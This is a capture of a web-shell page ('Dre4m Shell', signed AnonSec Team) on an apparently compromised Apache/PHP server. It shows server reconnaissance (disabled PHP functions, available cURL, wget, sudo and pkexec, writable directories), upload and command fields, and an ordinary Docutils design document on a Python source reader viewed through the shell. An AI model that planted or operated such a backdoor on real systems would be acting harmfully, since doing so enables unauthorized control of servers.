Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.222.48.95
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/docutils-doc/docs/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/docutils-doc/docs/dev/pysource.html
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="Docutils 0.12: http://docutils.sourceforge.net/" />
<title>Python Source Reader</title>
<meta name="author" content="David Goodger" />
<meta name="date" content="2012-01-03" />
<meta name="copyright" content="This document has been placed in the public domain." />
<link rel="stylesheet" href="../../css/html4css1.css" type="text/css" />
</head>
<body>
<div class="document" id="python-source-reader">
<h1 class="title">Python Source Reader</h1>
<table class="docinfo" frame="void" rules="none">
<col class="docinfo-name" />
<col class="docinfo-content" />
<tbody valign="top">
<tr><th class="docinfo-name">Author:</th>
<td>David Goodger</td></tr>
<tr><th class="docinfo-name">Contact:</th>
<td><a class="first last reference external" href="mailto:docutils-develop&#64;lists.sourceforge.net">docutils-develop&#64;lists.sourceforge.net</a></td></tr>
<tr><th class="docinfo-name">Revision:</th>
<td>7302</td></tr>
<tr><th class="docinfo-name">Date:</th>
<td>2012-01-03</td></tr>
<tr><th class="docinfo-name">Copyright:</th>
<td>This document has been placed in the public domain.</td></tr>
</tbody>
</table>
<p>This document explores issues around extracting and processing
docstrings from Python modules.</p>
<p>For definitive element hierarchy details, see the &quot;Python Plaintext
Document Interface DTD&quot; XML document type definition, <a class="reference external" href="pysource.dtd">pysource.dtd</a>
(which modifies the generic <a class="reference external" href="../ref/docutils.dtd">docutils.dtd</a>).  Descriptions below list
'DTD elements' (XML 'generic identifiers' or tag names) corresponding
to syntax constructs.</p>
<div class="contents topic" id="contents">
<p class="topic-title first">Contents</p>
<ul class="simple">
<li><a class="reference internal" href="#model" id="id3">Model</a></li>
<li><a class="reference internal" href="#docstring-extractor" id="id4">Docstring Extractor</a></li>
<li><a class="reference internal" href="#interpreted-text" id="id5">Interpreted Text</a></li>
</ul>
</div>
<div class="section" id="model">
<h1><a class="toc-backref" href="#id3">Model</a></h1>
<p>The Python Source Reader (&quot;PySource&quot;) model that's evolving in my mind
goes something like this:</p>
<ol class="arabic">
<li><p class="first">Extract the docstring/namespace <a class="footnote-reference" href="#id2" id="id1">[1]</a> tree from the module(s) and/or
package(s).</p>
<table class="docutils footnote" frame="void" id="id2" rules="none">
<colgroup><col class="label" /><col /></colgroup>
<tbody valign="top">
<tr><td class="label"><a class="fn-backref" href="#id1">[1]</a></td><td><p class="first last">See <a class="reference internal" href="#docstring-extractor">Docstring Extractor</a> below.</p>
</td></tr>
</tbody>
</table>
</li>
<li><p class="first">Run the parser on each docstring in turn, producing a forest of
doctrees (per nodes.py).</p>
</li>
<li><p class="first">Join the docstring trees together into a single tree, running
transforms:</p>
<ul class="simple">
<li>merge hyperlinks</li>
<li>merge namespaces</li>
<li>create various sections like &quot;Module Attributes&quot;, &quot;Functions&quot;,
&quot;Classes&quot;, &quot;Class Attributes&quot;, etc.; see <a class="reference external" href="pysource.dtd">pysource.dtd</a></li>
<li>convert the above special sections to ordinary doctree nodes</li>
</ul>
</li>
<li><p class="first">Run transforms on the combined doctree.  Examples: resolving
cross-references/hyperlinks (including interpreted text on Python
identifiers); footnote auto-numbering; first field list -&gt;
bibliographic elements.</p>
<p>(Or should step 4's transforms come before step 3?)</p>
</li>
<li><p class="first">Pass the resulting unified tree to the writer/builder.</p>
</li>
</ol>
<p>I've had trouble reconciling the roles of input parser and output
writer with the idea of modes (&quot;readers&quot; or &quot;directors&quot;).  Does the
mode govern the tranformation of the input, the output, or both?
Perhaps the mode should be split into two.</p>
<p>For example, say the source of our input is a Python module.  Our
&quot;input mode&quot; should be the &quot;Python Source Reader&quot;.  It discovers (from
<tt class="docutils literal">__docformat__</tt>) that the input parser is &quot;reStructuredText&quot;.  If we
want HTML, we'll specify the &quot;HTML&quot; output formatter.  But there's a
piece missing.  What <em>kind</em> or <em>style</em> of HTML output do we want?
PyDoc-style, LibRefMan style, etc.  (many people will want to specify
and control their own style).  Is the output style specific to a
particular output format (XML, HTML, etc.)?  Is the style specific to
the input mode?  Or can/should they be independent?</p>
<p>I envision interaction between the input parser, an &quot;input mode&quot; , and
the output formatter.  The same intermediate data format would be used
between each of these, being transformed as it progresses.</p>
</div>
<div class="section" id="docstring-extractor">
<h1><a class="toc-backref" href="#id4">Docstring Extractor</a></h1>
<p>We need code that scans a parsed Python module, and returns an ordered
tree containing the names, docstrings (including attribute and
additional docstrings), and additional info (in parentheses below) of
all of the following objects:</p>
<ul class="simple">
<li>packages</li>
<li>modules</li>
<li>module attributes (+ values)</li>
<li>classes (+ inheritance)</li>
<li>class attributes (+ values)</li>
<li>instance attributes (+ values)</li>
<li>methods (+ formal parameters &amp; defaults)</li>
<li>functions (+ formal parameters &amp; defaults)</li>
</ul>
<p>(Extract comments too?  For example, comments at the start of a module
would be a good place for bibliographic field lists.)</p>
<p>In order to evaluate interpreted text cross-references, namespaces for
each of the above will also be required.</p>
<p>See python-dev/docstring-develop thread &quot;AST mining&quot;, started on
2001-08-14.</p>
</div>
<div class="section" id="interpreted-text">
<h1><a class="toc-backref" href="#id5">Interpreted Text</a></h1>
<p>DTD elements: package, module, class, method, function,
module_attribute, class_attribute, instance_attribute, variable,
parameter, type, exception_class, warning_class.</p>
<p>To classify identifiers explicitly, the role is given along with the
identifier in either prefix or suffix form:</p>
<pre class="literal-block">
Use :method:`Keeper.storedata` to store the object's data in
`Keeper.data`:instance_attribute:.
</pre>
<p>The role may be one of 'package', 'module', 'class', 'method',
'function', 'module_attribute', 'class_attribute',
'instance_attribute', 'variable', 'parameter', 'type',
'exception_class', 'exception', 'warning_class', or 'warning'.  Other
roles may be defined.</p>
<!-- Local Variables:
mode: indented-text
indent-tabs-mode: nil
fill-column: 70
End: -->
</div>
</div>
</body>
</html>

Anon7 - 2022
AnonSec Team